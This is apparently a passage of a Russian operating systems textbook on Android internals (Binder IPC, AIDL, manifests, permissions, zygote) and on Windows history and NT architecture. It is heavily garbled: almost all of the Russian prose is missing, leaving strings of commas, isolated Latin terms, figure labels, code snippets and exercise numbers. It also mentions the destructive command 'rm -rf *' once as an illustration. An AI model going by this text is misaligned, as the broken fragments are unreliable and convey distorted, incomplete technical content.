2. Binder , Binder. Binder , . onTransact,
. Binder
;
3. Parcel - , Binder. ( , , ),
IBinder,
,
.
. 10.29 ,
(. . 10.27), . , Binder1b Binder2a Binder.
Parcel, ,
, , BinderProxy. , ,
IBinder, transact
.

Binder1

Binder1

Binder2
Binder2a

1
1

Parcel

Binder1

2
2
3

onTransact()
BinderProxy

transact()
BinderProxy
(Handle 2)

: 2
: 1

To: Binder2a
: 1

Binder1

Parcel

. 10.29. API- Binder

, API : BinderProxy, Parcel. ,

- Binder,

896

10. : Unix, Linux Android

Parcel
onTransact.
IPC-:
1. Binder.
2. onTransact
.
3. Parcel,
transact .
. , (
) , , , IPC.
,
, .

Binder AIDL
Binder IPC , , , .
Binder Parcel .

AIDL (Android Interface Definition Language Android-).
,
,
,
.
10.3 , AIDL.
IExample print, String.
10.3. AIDL
package com.example
interface IExample {
void print(String msg);
}

, 10.13, AIDL
Java (. 10.30):
1. IExample , Java;
2. IExample.Stub . Binder, , IPC-.
IExample, . :
onTransact IExample.
IExample;

10.8. Android

897

3. IExample.Proxy , IPC- .
IExample,
Parcel transact
IBinder, .
Binder

IExample

IExample.Stub

IExample.Proxy

IBinder

. 10.30. Binder

IPC. IExample IExample.Stub

, .
IExample, IExample.Proxy, .
IPC-
. 10.31. print IExample
:
1. IExample.Proxy Parcel,
transact BinderProxy.
2. BinderProxy
ioctl.
3. , , ioctl.
4. Parcel,
, ExampleImpl (
IExample.Stub), onTransact.
5. IExample.Stub Parcel ,
print.
6. , ExampleImpl print.
Android IPC. Android AIDL ,
. . 10.23, ,
system_server IPC
, ,
. AIDL-:
. , 10.4 AIDL . getService,
IBinder ,
.

898

10. : Unix, Linux Android

1

1
Examplelmpl

print("hello")
IExample
print("hello")

IExample.Proxy

IExample.Stub

transact({print hello})

onTransact({print hello})

ioctl()

BinderProxy
binder_module

ioctl()

Binder

. 10.31. Binder IPC AIDL

10.8.8. Android
Android , Linux ,
.
, ,
: , , ,
, .
10.4. AIDL-
package android.os
interface IServiceManager {
IBinder getService(String name);
void addService(String name, IBinder binder);
}

Android apk,
Android Package ( Android). zip-, ,
. apk- :
1. , , ,
. ,
, Java- (, com.android.app.calculator),
.
2. , , ,
, XML- ,
. .
3. , - Dalvik, .
4. , .

10.8. Android

899

, , , XML-
AndroidManifest.xml, zip, apk-.
10.5.
,
,
.
Android- ,
.
<application> , , .
, , : (activity), (receiver), (service)
(content provider).
,
.
, .
android:name Java- ,
, .
10.5. AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.email">
<application>
<activity android:name="com.example.email.MailMainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name="com.example.email.ComposeActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
<service android:name="com.example.email.SyncService">
</service>
<receiver android:name="com.example.email.SyncControlReceiver">
<intent-filter>

900

10. : Unix, Linux Android

<action android:name="android.intent.action.DEVICE STORAGE LOW" />

</intent-filter>
<intent-filter>
<action android:name="android.intent.action.DEVICE STORAGE OKAY" />
</intent-filter>
</receiver>
<provider android:name="com.example.email.EmailProvider"
android:author ities="com.example.email.provider.email">
</provider>
</application>
</manifest>

(package manager) Android,

. ,
. , ,
.
(
apk-),
( ).
, ,
. :
- ,

, , (,
) , ,
.
,
Windows.

. ,
, , .
, .

, , ,
. ,
.

(activity) , .
,

10.8. Android

901

. , .
, 10.5,
. , ,
.
, ,
.
,
, . , ,
. 10.32. , ,
ActivityRecord.
,
,
.
MainMailActivity ,
ActivityRecord. ,
(resumed), .
system_server

: Email

MailMainActivity

ActivityRecord
(MailMainActivity)

. 10.32.

( )
, , , . 10.33. , , , ActivityRecord
, . -
:
(stopped)
ActivityRecord.
, . ,
, , ,
system_server, ActivityRecord, .

902

10. : Unix, Linux Android

system_server

: Camera

CameraMainActivity

ActivityRecord
(CameraMainActivity)

: Email
ActivityRecord
(MailMainActivity)

MailMainActivity

. 10.33.

, , , , ,
, ,
- .
, Android
( ,
, , ),
. ,
, ,
. , ,
, .
,
, (. 10.34). ActivityRecord
system_server. system_server
Android, , , .

,
ComposeActivity. .
, ,
, .
, Android ,
ComposeActivity. , , ,
, ComposeActivity. ,

10.8. Android

system_server

: Camera

903

CameraMainActivity

ActivityRecord
(CameraMainActivity)

: Email
ActivityRecord
(MailMainActivity)

. 10.34.

. (
, ComposeActivity .)
,
, . 10.34, ,
. 10.35. , :
1. ,
ComposeActivity.
2. MailMainActivity ,
.
.
3. Camera : CameraMainActivity,
, ComposeActivity, .
: ,
, .
4. ComposeActivity , ,
. CameraMainActivity
, .
, - .
, , ,
Camera, ( ,
) . . 10.36
, . , Email . MailMainActivity
,
.

 10. : Unix, Linux Android

system_server

: Camera

ComposeActivity

ActivityRecord
(ComposeActivity)

ActivityRecord
(CameraMainActivity)

CameraMainActivity

: Email
ActivityRecord
(MailMainActivity)

. 10.35.

system_server

: Email

MailMainActivity

ActivityRecord
(MailMainActivity)
ComposeActivity

: Camera

904

ActivityRecord
(ComposeActivity)

ActivityRecord
(CameraMainActivity)

CameraMainActivity

. 10.36.

10.8. Android

905

,
, .

, .
, , , , , .

(service) :
1. , .
,
(, IRC-) ,
,
, . .
2. ,
.

API- : , , . .
, 10.5,
, .
, 15 ,
, .
. . 10.37 ,
. ServiceRecord,
, ,
SyncService . ( ,
, ) . ,
, , , ,
ServiceRecord , , .

system_server

ServiceRecord
(SyncService)

SyncService

. 10.37.

906

10. : Unix, Linux Android

,
, ,
SyncService, API-,
.
API- AIDL-, ,
10.6.
10.6. sync
package com.example.email
interface ISyncControl {
int getSyncInterval();
void setSyncInterval(int seconds);
}

,
, .
(. 10.38). :
1. ,
.
2. , .
3. IBinder , IBinder ServiceRecord.
4. IBinder ,
.
5. , IBinder , , .

system_server

2.

ServiceRecord
(SyncService)
IBinder

3.

SyncService
IBinder

IBinder
5.
4.

IBinder

IBinder
1.

. 10.38.

10.8. Android

907

(receiver) ( , ) .
, ,
- (
, . .), , .
, 10.5,
, ,
, (
). ,
,
, .
. 10.39 ,
. ,
BroadcastRecord, . ,
.

system_server

BroadcastRecord
DEVICE_STORAGE_LOW

SyncControlReceiver

SyncControlReceiver
(Calendar app)

SyncControlReceiver
(Email app)

SyncControlReceiver

CleanupReceiver
(Browser app)

CleanupReceiver

. 10.39.

. , ,
. ReceiverRecord,
, ,
.
.

908

10. : Unix, Linux Android

(content
provider), ,
. (URI), content: . URI
, .
, 10.5
, com.example.email.provider.email. , URI, ,
content://com.example.email.provider.email/

URI ,
.
, URI
content://com.example.email.provider.email/messages

,
content://com.example.email.provider.email/messages/1

1.
API- ContentResolver,
URI-, ,
. ContentResolver query,
URI Cursor
. ,
:
query("content://com.example.email.provider.email/messages")

, , ,
, . . 10.40:
1. ContentResolver.query .
2. URI- , ( ) .
3. , .
4.
IBinder, IContentProvider.
5. IBinder ContentResolver.
6. query,
AIDL-,
Cursor.

. ,

10.8. Android

system_server

909

3.

ProviderRecord
(EmailProvider)

EmailProvider
4.

IBinder

IContentProvider.Stub

IBinder

6. query()
5.

IBinder
2.

IContentProvider.Proxy

ContentResolver
1. query()

. 10.40.

, . 10.35, .
:
1. , URI
, .
2. ContentResolver MIME- , URI.
query,
MIME- URI.
3. , MIME-.
4.
.
5. , .
6. , , URI , ContentResolver : , . .

10.8.9.
, ,
10.5, <intent-filter>,
. Android
(intent), , ,
.
, Android , . -
Linux,

910

10. : Unix, Linux Android

, ,
.
: . (explicit intent)
,
Linux .
, : . , . 10.32 ,
10.5.
com.example.email com.example.email.MailMainActivity.

, , . 10.32.
, , .
, .
(implicit intent) , , Linux ,
.
, ,
(intent resolution).
Android , . 10.35, ,
, , . , , , ,
.
android.intent.action.SEND, 10.5
, compose , .
:
;
;
, .
, .
,
. , -
, .
,
.
.
,
, , ResolverActivity.

10.8. Android

911

, ,
. ,

, .
Android Linux: Android,
,
. Android
.

10.8.10.
, , .
, ls ,
(UID) ,
. ,
, , ,
.

. , ,
. , , , .
,

(admin), ,
.
,
,
. , , ,
. : , ,
UNIX? , .
rm -rf *,
. , ,
. !
Android : . ,
- , .
Android
. Android,

912

10. : Unix, Linux Android

Linux
(UID) .
Linux , ,
, .
, Android Linux ,
. .

10.8.11.
Android UID-.
Linux UID, Android UID
. IPC,
UID . Binder
IPC ,
, IPC UID
.
Android UID- , UID
UID . . 10.16
UID . UID- 10 000

,
. 10 00019 999 UID-,
, . , 10 000 .
, 100 000,
Android: , UID 10 002
,
110 002.
10.16. UID- Android
UID

Root

1000

( system_server)

1001

1013

2000

10 00019 999

UID-

100 000

UID, , UID.

10.8. Android

913

, ,
.
,
, .
, UID 1000, .
installd: ,
. installd API-
.
Android
, ,
. , (
),
.
. ,
.
, , , ,
.
,
. , .
?
Android ,
. , .
, ,
.
. 10.41 , .
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, , , . ,
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, content://pics/1. URI ,
. ,
.
; IPC-
. ,
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,
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914

10. : Unix, Linux Android

system_server

UID Email

READ_CONTACTS
READ_PICTURES
INTERNET

PicturesProvider
: pics

content://pics/1

UID Browser

ComposeActivity

INTERNET

. 10.41.

, UID . ,

, .
. 10.42 , , ,
, .
, , , .
PicturesProvider , READ_PICTURES,
SecurityException.
,
. ,
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,
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, , , . 10.35. :
,
ComposeActivity. URI ,
, , . ,
, ,
. , , URI .

10.8. Android

915

system_server

UID Email

PicturesProvider
: pics

READ_CONTACTS
READ_PICTURES
INTERNET

content://pics/1

UID Browser

BrowserMainActivity

INTERNET

. 10.42.

, .
. -, , . -,
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.
:
, .
, ,
.
Android ( . 10.43
). ( ) , content://pics/1.
, , URI- ,
ComposeActivity URI. ComposeActivity
, URI, PicturesProvider , , URI, ,
, .
URI
. , android.intent.action.GET_CONTENT,
, . -

916

10. : Unix, Linux Android

, , -: ,
, ,
, - .

system_server
URI
: ComposeActivity
URI: content://pics/1

: Pictures
ActivityRecord
(ComposeActivity)

PicturesProvider
: pics

content://pics/1

ComposeActivity

content://pics/1

ActivityRecord
(CameraActivity)

. 10.43.

. 10.44. ,
. 10.43, ,
. URI
, URI .
,
,
. .
, , ,
Android , .
, Android
. ,
,
,
, .

10.8. Android

917

Android
. ,
,
, . ,
, .
,
, .
, - , .
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, .
,
. ,
.

system_server

URI
: ComposeActivity
URI: content://pics/1

PicturesProvider
: pics

content://pics/1

: Pictures

ActivityRecord
(PicturePickerActivity)

ComposeActivity

content://pics/1

ActivityRecord
(ComposeActivity)

. 10.44.

, Android . , , , .

918

10. : Unix, Linux Android

(, ),

. ,
, ,
, .

10.8.12.
, Linux, (
fork) , exec , ,
. ,
, .
, Linux .
Android -.
, , Android, , .
, , , ,
.

, zygote.
zygote, , . : UID,
, ,
, . , zygote
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, root- ,
UID.
, Android- ,
(. . 10.32), (. . 10.37), ( ,
. 10.39) (. . 10.40).
. ,
. 10.32,
, ,
, .
. 10.45. :
1. - (,
) ,
, .
2. , .

10.8. Android

919

3. , , zygote UID.
4. Zygote , ,
, UID , Dalvik
Java. ,
, .
5. , zygote
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: ?.
6.
, , .
7. .
8. , X.
9. , Java- .
system_server

PackageManagerService
2

ty(

ivi

ct

rtA

sta

8
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4
3

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,
. , ,

920

10. : Unix, Linux Android

.
, ,
. 10.36.

,
. , ,
, , ,
( ) .
, Android , , oom_adj
, , .
oom_adj , ,
. . 10.17,
.
oom_adj, .
10.17.

oom_adj

SYSTEM

16

PERSISTENT

12

FOREGROUND

VISIBLE

PERCEPTIBLE

-,

SERVICE

HOME

()

CACHED

, ,
, ,
, , .
oom_adj , , ,
.
, Android ,
. , , ?
- ? :
. Android . , ,
.

10.8. Android

921

Android .
,
.
, ,
, ,
. , ,
, , .

,
Android. .
,
. , .
,
.

( ), (
).
.
:
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.
.
, , ,
. , - .
,
, , .

.
, .

. ( , .)
, , .
. 10.18 , ,
. ,

(. . 10.44).
, ,
.

922

10. : Unix, Linux Android

. ,
.
10.18.

system

SYSTEM ()

phone

PERSISTENT ( )

email

FOREGROUND (
)

camera

FOREGROUND (
)

music

PERCEPTIBLE ()

media

PERCEPTIBLE ()

download

SERVICE ()

launcher

HOME ()

maps

CACHED ()

, , , . 10.18,
, . . 10.19 , . , ,
. maps
.
10.19. ,

system

SYSTEM ()

phone

PERSISTENT ( )

email

FOREGROUND ( )

music

PERCEPTIBLE ()

media

PERCEPTIBLE ()

download

SERVICE ()

launcher

HOME ()

10.9.

923

camera

CACHED ()

maps

CACHED+1 ( + 1)

.
, , ,
.
,
.

10.9.
Linux (
) UNIX, (
). : ,
C . .
. ,
. .
C ,
(, printf ).
86
250 ,
.
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, - . , . Linux
UNIX- , Linux
, . (
)
( ).
, .
,
( ).
, , .
. ,
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: , .
. ,
.

924

10. : Unix, Linux Android

- ,
.
- . -
,
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).
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, .
. ,
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. : ,
i-. i-
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, ,
, .
.
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. (interprocess-communication (IPC))
Linux-, Binder.
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. Android , Linux, ,
.

1. , , UNIX C,
.
2. POSIX- . , POSIX ,
.
3. Linux gcc.
.
4. :

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925

ls [abc]*e*?

5. Linux?
grep nd xyz | wc -l

6. Linux, z
.
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,
?
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a | b | c&
d | e | f&

,
?
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, ?
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: 100 ,
20 , 10 , 1 ,
5 .
1 , 32- 50 .
, .
11. , , fork ,
. fork Linux,
(
fork). Linux , fork?
12. nice ?
13. Linux-, ,
100 139.
nice?

926

10. : Unix, Linux Android

14. ,
? ?
15. ? .
16. , Linux
,
?
17.
() . Pentium ? , ?
, ?
18. , , ,
?
19. PID.
,
,
PID? .
20. PID .
?
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: ,
( ) .
, p1 p2 p3. ,
.
22. sharing_flags, clone Linux,
fork UNIX?
UNIX?
23. , A B, . A
, . ,
Linux, , O(1) CFS.
24. UNIX- , , . ? (, ),
?
25. Linux ( ) , 0- ,
, .
? ,
0-
.
26. , 100 , 30 50 BSS.

927

10 . , . :
) ;
) ?
27. Linux ?
28. Linux
,
, . ?
29. mmap
.
30. mmap
:
mmap(65536, 32768, READ, FLAGS, fd, 0)

8 .
72 000?
31.

munmap(65536, 8192)

? , ? ?
32. ? , . , ?
33. ,
? , , .
, .
34. ,
, . ?
35. .
36. . , . ,
:
1) A 0- 10-;
2) B 20- 30-;
3) C 8- 40-;
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35-;
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37. . 10.16, . ,
10 11 . ,

928

10. : Unix, Linux Android

C , 10 11 .
? .
38. ,
. , ?
39. Linux , , 755 ()?
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Linux?
41. . 10.14 x
. ,

?
42. , , .
.
43. /usr/ast/work/f, ,
i- .
, i- , 1 .
44. I- Linux 12 ,
, . ,
256 , 1 ?
45. i-, i-. , .
, i-.
?
46. Linux
. ? .
47. ,
. .
48. pdflush
30 . ?
49. , , , . , ,
i- 2, i-.
, , ?
50. , Linux .

929

51. unlink , ?
?
52. , , ,

1,44 , Linux ext2? ,
1 .
53. , ,
, ,
?
54. ,
, . Linux .
,
. ,
. , .
?
55. Linux fsuid. setuid, ( ), fsuid
.
?
56. Linux- /proc/####, ####
, , .
, :
) ?
) ?
)
?
57. Android- -
, - ?
58. Android, ,
Linux-?
59. - zygote- Android
, ,
zygote-
?
60. , Android Binder IPC
. , , .
, ?

930

10. : Unix, Linux Android

61. Android-,
:
1) () ;
2) ;
3) ;
4) -.
-, ,
, ,
. ?
62. , .
.
63. BIOS ,
Pentium.
BIOS
( , ).
64. , ( Linux)
.
POSIX.
65. - ,
( ).
. ? ?
.
? Linux ?
66. ,
Linux. : mythreads_init, mythreads_create,
mythreads_join, mythreads_exit, mythreads_yield, mythreads_self , ,
. : mythreads_mutex_init,
mythreads_mutex_lock, mythreads_mutex_unlock. .

( ) .
,
( ). ,
, 2.6
Linux ( ).
.
67. , , ,
, , . .

 11.
:
Windows 8

Windows , , , -, . Windows Microsoft

Xbox Azure.
Windows 8.1.
Windows 8, , .
, , , -,
, , , .

11.1. Windows Windows 8.1

Microsoft Windows ( PC)
: MS-DOS, Windows MS-DOS, Windows NT
Windows. .
. . 11.1
Microsoft .
.
11.1. Microsoft

MS-DOS

1981

1.0

IBM PC

1983

2.0

PC/XT

1984

3.0

PC/AT

1990
1991
1992

Windows
MS-DOS

3.0
5.0

Windows
NT

Windows

10

3.1

286

932

11. : Windows 8
11.1 ()

MS-DOS

Windows
MS-DOS

1993
1995

Windows

NT 3.1
7.0

95

1996

MS-DOS
Windows 95
NT 4.0

1998
2000

Windows
NT

98
8.0

Me

2000

Windows Me
Windows 98

2001

XP

Windows 98

2006

Vista

Vista
XP

2009

Vista

2012

2013

8.1

Microsoft

11.1.1. 80- : MS-DOS

1980- IBM (
)
Intel 8088. 1970-
Microsoft BASIC 8080 Z-80.
IBM Microsoft BASIC IBM PC, Microsoft ,
IBM Digital Research
CP/M ( Microsoft
). IBM , (Gary Kildall), Digital Research,
IBM. , , , ,
CP/M IBM, , ,
. , IBM , Microsoft, .
Microsoft CP/M Seattle
Computer Products, IBM PC IBM
. MS-DOS 1.0 (Microsoft Disk Operating System)
1981 IBM PC.
MS-DOS 16- ,
8 . 10
, MS-DOS , -

11.1. Windows Windows 8.1

933

. 1986 IBM PC/AT

Intel 286 MS-DOS 36 ,
.

11.1.2. 90- : Windows

MS-DOS
,
(Doug Engelbart) Stanford Research Institute,
Xerox PARC, , Apple Lisa Apple Macintosh, Microsoft
MS-DOS ,
Windows. Windows (1985 1987 )
( -
). 1990 Microsoft Windows 3.0
Intel 386 1
.
Windows 3.0 ,
MS-DOS, - . ,
.
1995 Windows 95.
, ,
, , 32-
. ,
. Windows 98 Windows Me, -
16- MS-DOS.

11.1.3. 2000 : Windows NT

80- Microsoft , MS-DOS .
,

, UNIX.
Microsoft
Intel, RISC. Microsoft
DEC (Digital Equipment Corporation)
(Dave Cutler)
VMS. 32- ,
OS/2 (Microsoft IBM).
NT OS/2.
NT New Technology ( ),
, Intel 860
N10. NT ,

934

11. : Windows 8

. , Windows MS-DOS. DEC

, NT
(. 11.2) .
11.2. DEC,

DEC

1973

RSX-11M

16-

1978

VAX/VMS

32-

1987

VAXELAN

1988

PRISM/Mica

, MIPS/
Ultrix

DEC ( ) ,
NT VMS ( MICA),
DEC Microsoft Microsoft DEC.
. , Microsoft
NT Alpha DEC.
DEC
, 1977
DEC . : ,
- . 1998 , DEC, Compaq,
Hewlett-Packard.
UNIX , NT
. - VMS, (
) . 1970- UNIX
16- ,
.
, fork exec (
). NT
1990- , 32-
. NT , ,
fork exec ( ).
Windows NT (Windows NT 3.1) 1993 .
3.1 , Windows 3.1 . IBM
, , -
OS/2, 32- Windows Win32.

11.1. Windows Windows 8.1

935

NT
Windows 3.0, .
Win32, Win32s.
Windows MS-DOS, Windows NT
. NT , 32-
, ,
Windows MS-DOS (
Microsoft , 1995 Windows 95). NT,
Windows 95 32- ,
16-
. , NT
, VMS NetWare.
NT 1994
1995 MIPS PowerPC. NT Windows NT 4.0 1996 . ,
NT ,
Windows 95.
. 11.1 Win32
Windows. (API)
Windows MS-DOS Windows NT
NT.
Win32

Win32

Win32s
Windows
3.0/3.1

Windows
95/98/98SE/Me

Windows
NT/2000/Vista/7

Windows
8/8.1

. 11.1. Win32
Windows

Windows 95
NT .
, Windows
NT 4.0 1996 ( Alpha
DEC) (Windows 2000) x86 ( Pentium).
Windows 2000 NT. : Plug-and-Play (
PCI),
( ), ( ); .

936

11. : Windows 8

Windows 2000 , Microsoft

NT
(Windows XP), Windows 98. Windows XP
, Microsoft ,
.
Windows XP , Microsoft
Windows MS-DOS.
Windows XP Microsoft ,
. 2006
Windows Vista, Windows XP.
, .
.
, , , . Vista
(Windows Server 2008) .
(, , ), Vista.
NT Show-stopper (Zachary, 1994).
.

11.1.4. Windows Vista

Windows Vista ( )
Microsoft.
, Vista .
.NET- C# (
) ,
(, WinFS ).
. NT 3 C/C++,
16 NT 4.0, 30 Windows
2000, 50 Windows XP 70 Vista Windows 7 8.
Microsoft
.
system32 1600
(DLL) 400 (EXE) , ( ),
( ,
, , , ). Microsoft
, ,

11.1. Windows Windows 8.1

937

( ,
, . .).
. Windows . Windows - () -,
Windows Vista DVD-. ,

, .
Microsoft, Windows Vista ,
,
.
, . ,
- .
,
,
. Windows
Vista ,
Windows XP ,
.
Windows Vista , Windows 7. Microsoft
,
,
, . Windows 7
Windows
Vista, . Windows 7 Windows Vista, Windows XP
Windows.

11.1.5. 2010- : Windows

Windows 7
. Apple iPhone
iPad ,
Android , Microsoft .
, , ,
.
, , .
, ,
.
, ,
, , , -

938

11. : Windows 8

. - .
Microsoft , , Google Apple. ,
: , , ,
, , .
, Windows ,
Windows Vista, Windows 8.
Microsoft , Windows 7,
,
.
Windows 8 MinWin, Windows 7,
,
. ,


. Windows
Phone 8, ,
.
Windows ARM, Intell,
.
Windows 8 Windows.
Windows 8 . ,
( )
.
, ,
. 14
2013 Microsoft Windows 8.1.
,
, .
Windows 8,
, Windows 8.1.

11.2. Windows
Windows. ,
, API NT , Win32, Windows NT,
WinRT, Windows 8.
. 11.2 Windows.
,
. , (DLL),

11.2. Windows

939

. Windows
,
. (RPC).

Windows

Windows

WinRT: .NET/C++, WWA/JS

NT: smss, lsass,

services, winlogon,
...

COM

Win32
(csrss.exe)

AppContainer

Windows

()
[.NET: , GC]

(shell32ldll,
user32.dll, gdi32.dll)

(ole, rpc)
API (kernel32)

NT,
C/C++ (indll.dll)
NTOS (ntoskrnl.exe)

:
,
,

NTOS (ntoskrnl.exe)

(Win32k.sys)

(hal.dll)
(hvix, hvax)
. 11.2 . Windows

NT NTOS (ntoskrnl.
exe), (
). Windows
Microsoft . ,
NTOS .
NT : OS/2, POSIX Win32. OS/2
Windows XP. POSIX Windows 8.1
. Windows-
API-, WinFX .NET, Win32.
POSIX ( Interix) Services For UNIX (SFU)
Microsoft, POSIX .
Windows Win32 ( Microsoft ).
Win32 .NET
NT. .NET -

940

11. : Windows 8

Win32. .NET Win32 ( POSIX OS/2).

WinFX
Win32, Base Class
Library WinFX API- Win32. WinFX ,
,
Common Language Runtime .NET ( ).
Windows Windows 8,
API- WinRT. Windows 8 Win32 ,

. Microsoft ,
, ,
, . GUI, ,
, API- Modern Software Development Kit,
WinRT API-.
. API- , C++ .NET, JavaScript
, wwa.exe (Windows Web Application).
WinRT API Microsoft
MSDK (Microsoft Development Kit) Win32 API. WinRT API .
Win32 API.
, MSDK

Win32. , Windows ,
(, )
( ). Win32
API API- Win32, .
, Win32 API-
,
. API-, Win32,
MSDK API- ANSI. MSDK API Unicode.
(modern) , Windows,
. , Windows,
Windows .
Win32, , , ,
. ,
, ,

11.2. Windows

941

. , ,
. , . ,
,
WinRT API-.
,
.
Windows .
Win32
, .
Widows- AppStore, , Microsoft. Microsoft ,
Apple Android. Microsoft
, , ,
, , API-,
MSDK.
,
AppContainer.
, ,
. Windows AppContainer Windows .
, WinRT
API-, - (broker processes),
, .
. 11.3, NT :
, , CreateProcess,
. .
, smss.exe ( );
NT,
CreateProcess Win32 API .
Win32, Windows -
, Win32 csrss.exe.

, , ( ) ( ).
LPC (Local Procedure Call),
.
Win32 ( CreateProcess) ,
( ). smss.exe
csrss.exe ( ). .

942

11. : Windows 8

. 11.3. , NT

NT ,
, .

. , NtCreateProcess
fork POSIX, Win32
( atoms),

.
NT, NT , smss.exe lsass.
exe ( ).
, ,
, , ,
.

11.2.1.
NT
, Windows
, .
NTOS, . Microsoft
. ( ),
, , . NT
, Microsoft ,

11.2. Windows

943

Windows Win32 , ,
Windows MS-DOS, Windows NT (
Win32 API ).
NT
( , , , , . .).
. 11.3 Windows . ,
.
11.3.

, , , IPC,
-

, , ,

, , , ,

Win32

, , ,
.
,
- , .
NT
.
( ) (handle).
. .

.
( ), ,
. , ,
-, .
(security descriptor),
, .
, . ,
- .
,
. ,
, - .
, .

944

11. : Windows 8

,
.
( ), .
. 11.4 API,
, , ,
IPC, (sections), ,
. NtCreateProcess
,
, SectionHandle. DebugPortHandle
(,
). ExceptPortHandle ,
.
11.4.
NT,

NtCreateProcess(&ProcHandle, Access, SectionHandle, Debug PortHandle, ExceptPortHandle...)
NtCreateThread(&ThreadHandle, ProcHandle, Access, ThreadContext, CreateSuspended...)
NtAllocateVirtualMemory(ProcHandle, Addr, Size, Type, Protection...)
NtMapViewOfSection(SectHandle, ProcHandle, Addr, Size, Protection...)
NtReadVirtualMemory(ProcHandle, Addr, Size...)
NtWriteVirtualMemory(ProcHandle, Addr, Size...)
NtCreateFile(&FileHandle, FileNameDescriptor, Access...)
NtDuplicateObject(srcProcHandle, srcObjHandle, dstProcHandle, dstObjHandle...)

NtCreateThread ProcHandle, , (
). NtAllocateVirtualMemory, NtMapViewOfSection,
NtReadVirtualMemory NtWriteVirtualMemory
, , , . NtCreateFile API
. NtDuplicateObject API
.
Windows. UNIX
, , ,
, , , ,
, , -. UNIX ,
, , SystemV, i- .
UNIX .
, SystemV, .

11.2. Windows

945

Windows
NT, (object manager).
, , , . ( ),
( ).
NT (NT namespace) Unicode. UNIX, NT
( ,
). NT , .
, .
,
, ,
, .
, .

. ,
(
). ,
(device objects). (driver object),

-. .
( ), (
) , ( )
.
UNIX,
, NT .
, NT
. NT
.
,
.
(permanent) ,

( ).
NT, ,
UNIX.

946

11. : Windows 8

NT.
,
NT.
( ).
( ).
( ) ,
i-,
/dev UNIX.

NT ,
Win32, NT.

11.2.2.
Win32
Win32
Win32 (Win32 API). .
, NT ( ), (
) .
NT ,
Win32 API.
Windows Win32 API
( API ).
. 11.5 Win32 API
NT API, . ,
.
Win32 NT, , Win32
NT. Win32
Win32 NT. , NT (
MS-DOS LPT:). Win32 API
Win32 (csrss.exe) ,
( ),
Windows.
Win32 ,
NT . - , NT,
. - Win32 API
ANSI Unicode. . 11.5 Win32 (
) (, CreateProcessW CreateProcessA).
API NT API Unicode,
NT Unicode.

11.2. Windows

947

11.5. Win32 API NT API,

Win32

NT API

CreateProcess

NtCreateProcess

CreateThread

NtCreateThread

SuspendThread

NtSuspendThread

CreateSemaphore

NtCreateSemaphore

ReadFile

NtReadFile

DeleteFile

NtSetInformationFile

CreateFileMapping

NtCreateSection

VirtualAlloc

NtAllocateVirtualMemory

MapViewOfFile

NtMapViewOfSection

DuplicateHandle

NtDuplicateObject

CloseHandle

NtClose

Windows
Win32, , , ,
, .
.
Windows , , ,
. ,

,
. Microsoft
,
( ) ,
.
Windows ,
Windows-on-Windows (WOW). WOW32 32- x86
16- Windows 3.x ( 16- 32-).
WOW64 32- Windows
x64.
Windows UNIX. UNIX ,
,
. Win32
( -
),
( CreateFile CopyFile).
, Win32 , ,
, - ,
API .

948

11. : Windows 8

Win32 API,
NT API, .
Win32 .
, (, , , , ,
IPC).

,
.
(
).
- (
).
Windows . -, ,
( ). -, Win32
(file mapping),
(
NT ).
,
, .
. Win32
, NT , (
).
(
UNIX mmap).
Windows , . ,
.
(, ).
(
). NT ()
NT, .
-. Win32 . Win32
60 ,
, ,
, ,
.
.
, NTFS,

11.2. Windows

949

. ( ) . ,
( ).
RAID .

(journal), NTFS
.
NT ( , \foo\bar , ,
\Device\HarddiskVolume\foo\bar). NTFS ( Windows )
.
- Windows .
- , -,
-. Windows , -. Windows
, -
. ( C
Win32) -
.
- ( ).
, Win32 , . , (token),
. ACL (Access Control List ),
,
.
,
. ,
(, ).
Win32 NT (
). Win32 API
NT ( NT -, \\.). Win32
. \DosDevices NT
( ). , \DosDevices\C: \Device\HarddiskVolume1.
Win32, COM1:, LPT1: NUL:
( , -). \Dos\
Devices \??,
. NT \BaseNamedObjects ,
Win32 API. ,
, , .

950

11. : Windows 8

Win32
API
(
). , , ,
, , , ,
( ), .
, , , , . ,
, ,
, .

win32k.sys ( ).
NTOS,
.

11.2.3. Windows
NT . ( ) NT. NT
, ? , Windows NT
( ). (registry). ,
(hives). (
C:\Windows\system32\config\ )1. Windows ,
SYSTEM ,
(, ) .
Windows SYSTEM ,
, , ,
.
( , ).

, .
, , COM (Component
Object-Model) .
SAM (Security Access Manager).
lsass SECURITY,
,
. Windows
. 11.6.
1

,
/ . . .

11.2. Windows

951

11.6. Windows. HKLM

HKEY_LOCAL_MACHINE

STEM

HKLM \SYSTEM

( )

HARDWARE

HKLM \HARDWARE

BCD

HKLM \BCD*

SAM

HKLM\SAM

SECURITY

HKLM\SECURITY

lsass

DEFAULT

HKEY_USERS\DEFAULT

NTUSER.DAT

HKEY_USERS<user id>

SOFTWARE

HKLM \SOFTTWARE

COMPONENTS

HKLM \COMPONENTS

Windows
.ini, . ,
. Plug-and-Play.
Windows . ,
,
. ,
,
.
(
). (Born, 1998; Hipson,
2002; Ivens, 1998), ,
, .
Windows
regedit, ( ) ( ).
PowerShell Microsoft
( ).
procmon, - Microsoft : www.
microsoft.com/technet/sysinternals.
Procmon ,
. , .
regedit
. :

952

11. : Windows 8

, , , .
Microsoft ,
,
UNIX. , iOS Android, - .
Win32. , . .
. 11.7.
11.7. Win32 API

Win32 API

RegCreateKeyEx

RegDeleteKey

RegOpenKeyEx

RegEnumKeyEx

RegQueryValueEx

,
.
, (
). .

11.3.
Windows Vista , .
, , ,
, .
, ,
(, ),
, .
, Windows,
, , . , , Microsoft Windows
Internals, 6- , 1 2 (Russinovich and Solomon, 2012).

11.3.1.
, Windows Vista
(. . 11.2).
, .

11.3.

953

NTOS, ntoskrnl.exe ( Windows).

NTOS : (executive),
, , (kernel) ( ?),
, .
NTOS NT
VAX/VMS. VMS, ,
: , ,
( , VAX). Intel
, (
NT) , , VMS
(, ), NT
.
NT . 11.4. NTOS
, , .
ntdll.dll,
. ( )
libc UNIX. Ntdll.dll
, , APC (Asynchronous Procedure Calls ) . , NTOS
ntdll . NTOS
, -,
ntdll, ntdll, .
NTOS HAL (Hardware Abstraction Layer
), (
DMA), ,
(, ).
,
